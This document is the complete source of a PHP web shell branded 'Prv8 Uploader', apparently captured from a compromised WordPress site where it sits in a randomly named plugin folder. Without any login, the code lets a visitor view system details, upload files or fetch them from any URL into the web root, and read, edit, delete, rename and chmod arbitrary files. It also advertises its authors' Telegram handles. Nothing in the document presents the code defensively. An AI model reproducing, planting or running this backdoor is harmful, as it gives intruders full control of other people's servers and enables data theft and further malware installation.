HEX
Server: LiteSpeed
System: Linux bdix5.noc223.com 4.18.0-477.27.2.lve.el8.x86_64 #1 SMP Wed Oct 11 12:32:56 UTC 2023 x86_64
User: purebdli (2161)
PHP: 8.1.24
Disabled: NONE
Upload Files
File: /home/purebdli/zarmanhomio.purebdlife.com/wp-content/plugins/h2p4wgv1/index.php
<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<span class='text-green-500'>NONE</span>"; // Adjusted class for new theme
} else {
    $disf = "<span class='text-red-500'>".$disfunc."</span>"; // Adjusted class for new theme
}

function author() {
    echo '<div class="footer">
            <a href="https://t.me/letmeseehaha" class="telegram-link" target="_blank">
                <span>@</span>
                <span>Telegram</span>
            </a>
          </div>';
    exit();
}

function cekdir() {
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<span class='text-green-500'>writable</span>"; // Adjusted class for new theme
    } else {
        return "<span class='text-red-500'>readonly</span>"; // Adjusted class for new theme
    }
}

function cekroot() {
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<span class='text-green-500'>writable</span>"; // Adjusted class for new theme
    } else {
        return "<span class='text-red-500'>readonly</span>"; // Adjusted class for new theme
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
    echo "<div class='message message-success'>".$text."</div>";
}

function red($text) {
    echo "<div class='message message-error'>".$text."</div>";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Prv8 Shell</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Roboto Mono', monospace;
            background-color: #0c0c0c; /* Deeper fallback background color */
            background-image: url('https://i.pinimg.com/736x/dc/3f/e0/dc3fe0561437efee569ff0326ded9d17.jpg'); /* NEW background image */
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            color: #e0e0e0; /* Lighter text color for contrast */
            line-height: 1.6;
            font-size: 14px;
            min-height: 100vh;
            padding: 20px;
        }

        .container {
            max-width: 1100px; /* Slightly wider container */
            margin: 0 auto;
            background-color: rgba(18, 18, 18, 0.9); /* Darker, slightly more opaque background for content */
            padding: 25px;
            border-radius: 10px; /* More rounded corners */
            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.4); /* Stronger shadow */
        }

        /* Header */
        .header {
            background: #242424; /* Darker header background */
            border: 1px solid #3a3a3a; /* Darker border */
            border-radius: 8px; /* More rounded corners */
            padding: 18px;
            margin-bottom: 20px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
        }

        .title {
            font-size: 24px; /* Larger title */
            font-weight: 700; /* Bolder title */
            color: #61dafb; /* Cyan-like color for emphasis */
            margin-bottom: 15px;
            text-align: center; /* Center align title */
            text-shadow: 0 0 5px rgba(97, 218, 251, 0.5); /* Glowing effect for title */
        }

        .system-info {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); /* Adjusted grid for system info */
            gap: 12px;
            font-size: 13px;
        }

        .info-line {
            padding: 6px 0;
            border-bottom: 1px dashed rgba(255, 255, 255, 0.1); /* Subtle dashed separator */
        }
        .info-line:last-child {
             border-bottom: none;
        }

        .info-label {
            color: #b0b0b0; /* Softer gray for labels */
            display: inline-block;
            width: 100px; /* Adjusted width */
            font-weight: 500;
            vertical-align: top; /* Align to top for multi-line values */
        }

        .info-value {
            color: #fceb92; /* Gold-like color for values */
            display: inline-block; /* Allow it to take up remaining space */
            width: calc(100% - 110px); /* Calculate remaining width, leaving space for label + gap */
            word-wrap: break-word; /* Ensure long words break and wrap */
        }

        /* Breadcrumb */
        .breadcrumb {
            background: #181818; /* Darker breadcrumb background */
            border: 1px solid #3a3a3a;
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 20px;
            font-size: 14px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
        }

        .breadcrumb a {
            color: #61dafb; /* Cyan for links */
            text-decoration: none;
            transition: color 0.3s ease;
        }

        .breadcrumb a:hover {
            color: #92e7ff; /* Lighter cyan on hover */
            text-decoration: underline;
        }

        /* Section Styling */
        .upload-section, .edit-form, .file-preview {
            background: #242424;
            border: 1px solid #3a3a3a;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
        }

        .section-title {
            font-size: 16px;
            font-weight: 700;
            color: #e0e0e0;
            margin-bottom: 15px;
            border-bottom: 2px solid #61dafb; /* Highlighted title */
            padding-bottom: 8px;
        }

        .form-row {
            margin-bottom: 15px;
        }

        .radio-group {
            display: flex;
            gap: 25px; /* Increased gap */
            margin-bottom: 15px;
        }

        .radio-item {
            display: flex;
            align-items: center;
            gap: 8px; /* Increased gap */
            font-size: 14px;
        }

        .radio-item input[type="radio"] {
            accent-color: #61dafb; /* Accent color for radio buttons */
            transform: scale(1.1); /* Slightly larger radio buttons */
        }

        input[type="file"],
        input[type="text"],
        select,
        textarea {
            background: #181818; /* Darker input fields */
            border: 1px solid #4a4a4a; /* Darker border */
            border-radius: 6px;
            color: #e0e0e0;
            padding: 10px 14px; /* Increased padding */
            font-family: inherit;
            font-size: 14px;
            width: 100%; /* Ensure full width for text inputs */
        }

        input[type="file"]:focus,
        input[type="text"]:focus,
        select:focus,
        textarea:focus {
            outline: none;
            border-color: #61dafb; /* Cyan focus outline */
            box-shadow: 0 0 5px rgba(97, 218, 251, 0.5);
        }

        .btn {
            background: #333333; /* Darker button background */
            border: 1px solid #555555; /* Darker button border */
            border-radius: 6px;
            color: #e0e0e0;
            padding: 8px 16px; /* Increased padding */
            font-family: inherit;
            font-size: 14px;
            cursor: pointer;
            transition: all 0.2s ease;
        }

        .btn:hover {
            background: #444444; /* Lighter on hover */
            border-color: #777777;
            color: #61dafb; /* Text color change on hover */
        }

        .btn-primary {
            background: #28a745; /* Green primary button */
            border-color: #28a745;
        }

        .btn-primary:hover {
            background: #218838;
            border-color: #1e7e34;
        }

        .btn-danger {
            background: #dc3545; /* Red danger button */
            border-color: #dc3545;
        }

        .btn-danger:hover {
            background: #c82333;
            border-color: #bd2130;
        }

        .upload-row {
            display: flex;
            gap: 10px; /* Slightly increased gap */
            align-items: center; /* Vertically align items */
        }

        .upload-row input[type="file"] {
            flex: 1;
            padding: 9px 12px; /* Adjust padding for file input */
        }
        .upload-row input[type="text"] {
            flex: 1;
        }

        .upload-row input[type="text"]:last-of-type {
            max-width: 180px; /* Slightly wider filename input */
        }

        /* Messages */
        .message {
            padding: 14px; /* Increased padding */
            border-radius: 8px;
            margin: 15px 0;
            font-size: 14px;
            font-weight: 500;
        }

        .message-success {
            background: rgba(40, 167, 69, 0.2); /* Green success background */
            border: 1px solid #28a745;
            color: #28a745;
        }

        .message-error {
            background: rgba(220, 53, 69, 0.2); /* Red error background */
            border: 1px solid #dc3545;
            color: #dc3545;
        }

        /* Table */
        .file-table {
            background: #181818;
            border: 1px solid #3a3a3a;
            border-radius: 8px;
            overflow: hidden;
            margin-bottom: 20px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        th {
            background: #2c2c2c; /* Darker table header */
            padding: 15px;
            text-align: left;
            font-weight: 700; /* Bolder header text */
            font-size: 14px;
            color: #61dafb; /* Cyan header text */
            border-bottom: 2px solid #3a3a3a;
        }

        td {
            padding: 12px 15px; /* Increased padding */
            border-bottom: 1px solid #3a3a3a;
            font-size: 13px;
        }

        tr:hover {
            background: #242424; /* Darker row hover effect */
        }

        .file-link {
            color: #e0e0e0;
            text-decoration: none;
            transition: color 0.3s ease;
        }

        .file-link:hover {
            color: #61dafb;
        }

        .dir-link {
            color: #8be9fd; /* Lighter cyan for directory links */
        }
        .dir-link:before {
            content: '📂 '; /* Folder icon */
        }
        .file-link:not(.dir-link):before {
            content: '📄 '; /* File icon */
        }

        .size {
            color: #b0b0b0;
            text-align: right;
        }

        .permissions {
            font-family: 'Roboto Mono', monospace;
            font-size: 13px;
            color: #b0b0b0;
            font-weight: 500;
        }

        /* Special text colors for permissions */
        .text-green-500 { color: #28a745; }
        .text-red-500 { color: #dc3545; }


        /* Action Form */
        .action-form {
            display: flex;
            gap: 6px; /* Increased gap */
            align-items: center;
        }

        .action-form select {
            font-size: 13px;
            padding: 6px 10px;
            min-width: 90px;
        }

        .action-form .btn {
            padding: 6px 10px;
            font-size: 13px;
        }

        /* Edit Form */
        .edit-form textarea {
            min-height: 450px; /* Taller textarea */
        }

        /* File Preview */
        .file-preview pre {
            background: #181818;
            border: 1px solid #3a3a3a;
            border-radius: 6px;
            padding: 18px;
            overflow-x: auto;
            font-size: 13px;
            line-height: 1.5;
            color: #f8f8f2; /* Lighter text in pre */
        }

        /* Footer */
        .footer {
            text-align: center;
            margin-top: 50px; /* Increased margin */
            padding: 25px;
            background: rgba(18, 18, 18, 0.8);
            border-radius: 8px;
            box-shadow: 0 -2px 4px rgba(0, 0, 0, 0.2);
        }

        .telegram-link {
            display: inline-flex;
            align-items: center;
            gap: 10px; /* Increased gap */
            background: #007bff; /* Blue for Telegram */
            color: white;
            text-decoration: none;
            padding: 12px 22px; /* Increased padding */
            border-radius: 8px;
            font-size: 16px; /* Larger font */
            font-weight: 700;
            transition: background 0.2s ease, transform 0.2s ease;
        }

        .telegram-link:hover {
            background: #0056b3;
            transform: translateY(-2px); /* Slight lift effect */
        }

        /* Responsive */
        @media (max-width: 768px) {
            .container { padding: 15px; }
            .system-info { grid-template-columns: 1fr; }
            .upload-row { flex-direction: column; align-items: stretch; } /* Stack on small screens */
            .upload-row input[type="text"]:last-of-type { max-width: none; }
            table { font-size: 11px; }
            th, td { padding: 10px 12px; }
            .action-form { flex-wrap: wrap; }
            .action-form select, .action-form .btn { flex-basis: 48%; }
            .title { font-size: 20px; }
            .section-title { font-size: 15px; }
            /* Ensure Disabled functions also wraps correctly on small screens */
            .system-info .info-line:last-child .info-label,
            .system-info .info-line:last-child .info-value {
                width: 100%;
                display: block;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="title">Prv8 Uploader by @StableExploitt | @LetMeSeeHaha</div>
            
            <div class="system-info">
                <div class="info-line">
                    <span class="info-label">Server:</span>
                    <span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></span>
                </div>
                <div class="info-line">
                    <span class="info-label">System:</span>
                    <span class="info-value"><?php echo php_uname(); ?></span>
                </div>
                <div class="info-line">
                    <span class="info-label">User:</span>
                    <span class="info-value"><?php echo @get_current_user()." (".@getmyuid().")"; ?></span>
                </div>
                <div class="info-line">
                    <span class="info-label">PHP:</span>
                    <span class="info-value"><?php echo @phpversion(); ?></span>
                </div>
                <div class="info-line" style="grid-column: 1 / -1;">
                    <span class="info-label">Disabled:</span>
                    <span class="info-value"><?php echo $disf; ?></span>
                </div>
            </div>
        </div>

        <div class="breadcrumb">
            <?php
            foreach($_POST as $key => $value){
                $_POST[$key] = stripslashes($value);
            }

            if(isset($_GET['path'])){
                $lokasi = $_GET['path'];
                $lokdua = $_GET['path'];
            } else {
                $lokasi = getcwd();
                $lokdua = getcwd();
            }

            $lokasi = str_replace('\\','/',$lokasi);
            $lokasis = explode('/',$lokasi);
            $lokasinya = @scandir($lokasi);

            echo "$ pwd: ";
            foreach($lokasis as $id => $lok){
                if($lok == '' && $id == 0){
                    $a = true;
                    echo '<a href="?path=/">/</a>';
                    continue;
                }
                if($lok == '') continue;
                echo '<a href="?path=';
                for($i=0;$i<=$id;$i++){
                    echo "$lokasis[$i]";
                    if($i != $id) echo "/";
                } 
                echo '">'.$lok.'</a>/';
            }
            ?>
        </div>
        <div class="upload-section">
            <div class="section-title">Upload Files</div>

            <?php
            if (isset($_POST['upwkwk'])) {
                if (isset($_POST['berkasnya'])) {
                    if ($_POST['dirnya'] == "2") {
                        $lokasi = $_SERVER['DOCUMENT_ROOT'];
                    }
                    $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
                    if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
                        green("File uploaded: ".$lokasi."/".$_FILES['berkas']['name']);
                    } else {
                        red("Upload failed");
                    }
                } elseif (isset($_POST['linknya'])) {
                    if (empty($_POST['namalink'])) {
                        red("Filename cannot be empty");
                    } else {
                        if ($_POST['dirnya'] == "2") {
                            $lokasi = $_SERVER['DOCUMENT_ROOT'];
                        }
                        $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
                        if (file_exists($lokasi."/".$_POST['namalink'])) {
                            green("File uploaded: ".$lokasi."/".$_POST['namalink']);
                        } else {
                            red("Upload failed");
                        }
                    }
                }
            }
            ?>

            <form enctype="multipart/form-data" method="post">
                <div class="form-row">
                    <div class="radio-group">
                        <label class="radio-item">
                            <input type="radio" value="1" name="dirnya" checked>
                            <span>current [<?php echo cekdir(); ?>]</span>
                        </label>
                        <label class="radio-item">
                            <input type="radio" value="2" name="dirnya">
                            <span>docroot [<?php echo cekroot(); ?>]</span>
                        </label>
                    </div>
                </div>

                <input type="hidden" name="upwkwk" value="aplod">
                
                <div class="form-row">
                    <div class="upload-row">
                        <input type="file" name="berkas">
                        <button type="submit" name="berkasnya" class="btn btn-primary">Upload</button>
                    </div>
                </div>

                <div class="form-row">
                    <div class="upload-row">
                        <input type="text" name="darilink" placeholder="https://example.com/file.txt">
                        <input type="text" name="namalink" placeholder="filename">
                        <button type="submit" name="linknya" class="btn btn-primary">Fetch</button>
                    </div>
                </div>
            </form>
        </div>

        <?php
        if (isset($_GET['fileloc'])) {
            echo "<div class='file-preview'>";
            echo "<div class='section-title'>File: ".$_GET['fileloc']."</div>";
            echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
            echo "</div>";
            author();
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
            if (is_dir($_POST['path'])) {
                xrmdir($_POST['path']);
                if (file_exists($_POST['path'])) {
                    red("Failed to delete directory");
                } else {
                    green("Directory deleted");
                }
            } elseif (is_file($_POST['path'])) {
                @unlink($_POST['path']);
                if (file_exists($_POST['path'])) {
                    red("Failed to delete file");
                } else {
                    green("File deleted");
                }
            }
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
            echo "<div class='edit-form'>";
            echo "<div class='section-title'>chmod ".$_POST['path']."</div>";
            echo '<form method="post">
            <div class="form-row">
                <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" placeholder="0644" />
                <input type="hidden" name="path" value="'.$_POST['path'].'">
                <input type="hidden" name="pilih" value="ubahmod">
                <button type="submit" name="chm0d" class="btn btn-primary">Apply</button>
            </div>
            </form>';
            if (isset($_POST['chm0d'])) {
                $cm = @chmod($_POST['path'], $_POST['perm']);
                if ($cm == true) {
                    green("Permission changed");
                } else {
                    red("Permission change failed");
                }
            }
            echo "</div>";
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
            if (isset($_POST['gantin'])) {
                $ren = @rename($_POST['path'], $_POST['newname']);
                if ($ren == true) {
                    green("Renamed successfully");
                } else {
                    red("Rename failed");
                }
            }
            if (empty($_POST['name'])) {
                $namaawal = $_POST['newname'];
            } else {
                $namawal = $_POST['name'];
            }
            echo "<div class='edit-form'>";
            echo "<div class='section-title'>mv ".$_POST['path']."</div>";
            echo '<form method="post">
            <div class="form-row">
                <input name="newname" type="text" value="'.$namaawal.'" placeholder="new name" />
                <input type="hidden" name="path" value="'.$_POST['path'].'">
                <input type="hidden" name="pilih" value="gantinama">
                <button type="submit" name="gantin" class="btn btn-primary">Rename</button>
            </div>
            </form>';
            echo "</div>";
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
            if (isset($_POST['gasedit'])) {
                $edit = @file_put_contents($_POST['path'], $_POST['src']);
                if ($edit == true) {
                    green("File saved");
                } else {
                    red("Save failed");
                }
            }
            echo "<div class='edit-form'>";
            echo "<div class='section-title'>nano ".$_POST['path']."</div>";
            echo '<form method="post">
            <textarea name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
            <div class="form-row">
                <input type="hidden" name="path" value="'.$_POST['path'].'">
                <input type="hidden" name="pilih" value="edit">
                <button type="submit" name="gasedit" class="btn btn-primary">Save</button>
            </div>
            </form>';
            echo "</div>";
        }
        ?>
        <div class="file-table">
            <table>
                <thead>
                    <tr>
                        <th>Name</th>
                        <th style="width: 80px;">Size</th>
                        <th style="width: 100px;">Permissions</th>
                        <th style="width: 120px;">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    foreach($lokasinya as $dir){
                        if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
                        echo "<tr>
                        <td>
                            <a href=\"?path=".$lokasi."/".$dir."\" class='file-link dir-link'>
                                ".$dir."
                            </a>
                        </td>
                        <td class='size'>--</td>
                        <td class='permissions ";
                        if(is_writable($lokasi."/".$dir)) echo 'text-green-500'; // Adjusted class
                        elseif(!is_readable($lokasi."/".$dir)) echo 'text-red-500'; // Adjusted class
                        echo "'>".statusnya($lokasi."/".$dir)."</td>
                        <td>
                            <form method='POST' action='?pilihan&path=$lokasi' class='action-form'>
                                <select name='pilih'>
                                    <option value=''>--</option>
                                    <option value='hapus'>rm</option>
                                    <option value='ubahmod'>chmod</option>
                                    <option value='gantinama'>mv</option>
                                </select>
                                <input type='hidden' name='type' value='dir'>
                                <input type='hidden' name='name' value='$dir'>
                                <input type='hidden' name='path' value='$lokasi/$dir'>
                                <button type='submit' class='btn'>go</button>
                            </form>
                        </td>
                        </tr>";
                    }

                    foreach($lokasinya as $file) {
                        if(!is_file("$lokasi/$file")) continue;
                        $size = filesize("$lokasi/$file")/1024;
                        $size = round($size,3);
                        if($size >= 1024){
                            $size = round($size/1024,2).'M';
                        } else {
                            $size = $size.'K';
                        }

                        echo "<tr>
                        <td>
                            <a href=\"?fileloc=$lokasi/$file&path=$lokasi\" class='file-link'>
                                $file
                            </a>
                        </td>
                        <td class='size'>".$size."</td>
                        <td class='permissions ";
                        if(is_writable("$lokasi/$file")) echo 'text-green-500'; // Adjusted class
                        elseif(!is_readable("$lokasi/$file")) echo 'text-red-500'; // Adjusted class
                        echo "'>".statusnya("$lokasi/$file")."</td>
                        <td>
                            <form method='post' action='?pilihan&path=$lokasi' class='action-form'>
                                <select name='pilih'>
                                    <option value=''>--</option>
                                    <option value='hapus'>rm</option>
                                    <option value='ubahmod'>chmod</option>
                                    <option value='gantinama'>mv</option>
                                    <option value='edit'>nano</option>
                                </select>
                                <input type='hidden' name='type' value='file'>
                                <input type='hidden' name='name' value='$file'>
                                <input type='hidden' name='path' value='$lokasi/$file'>
                                <button type='submit' class='btn'>go</button>
                            </form>
                        </td>
                        </tr>";
                    }
                    ?>
                </tbody>
            </table>
        </div>

        <?php
        author();

        function statusnya($file){
            $statusnya = fileperms($file);

            if (($statusnya & 0xC000) == 0xC000) {
                $ingfo = 's';
            } elseif (($statusnya & 0xA000) == 0xA000) {
                $ingfo = 'l';
            } elseif (($statusnya & 0x8000) == 0x8000) {
                $ingfo = '-';
            } elseif (($statusnya & 0x6000) == 0x6000) {
                $ingfo = 'b';
            } elseif (($statusnya & 0x4000) == 0x4000) {
                $ingfo = 'd';
            } elseif (($statusnya & 0x2000) == 0x2000) {
                $ingfo = 'c';
            } elseif (($statusnya & 0x1000) == 0x1000) {
                $ingfo = 'p';
            } else {
                $ingfo = 'u';
            }

            $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
            $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
            $ingfo .= (($statusnya & 0x0040) ?
                (($statusnya & 0x0800) ? 's' : 'x' ) :
                (($statusnya & 0x0800) ? 'S' : '-'));

            $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
            $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
            $ingfo .= (($statusnya & 0x0008) ?
                (($statusnya & 0x0400) ? 's' : 'x' ) :
                (($statusnya & 0x0400) ? 'S' : '-'));

            $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
            $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
            $ingfo .= (($statusnya & 0x0001) ?
                (($statusnya & 0x0200) ? 't' : 'x' ) :
                (($statusnya & 0x0200) ? 'T' : '-'));

            return $ingfo;
        }
        ?>
    </div>
</body>
</html>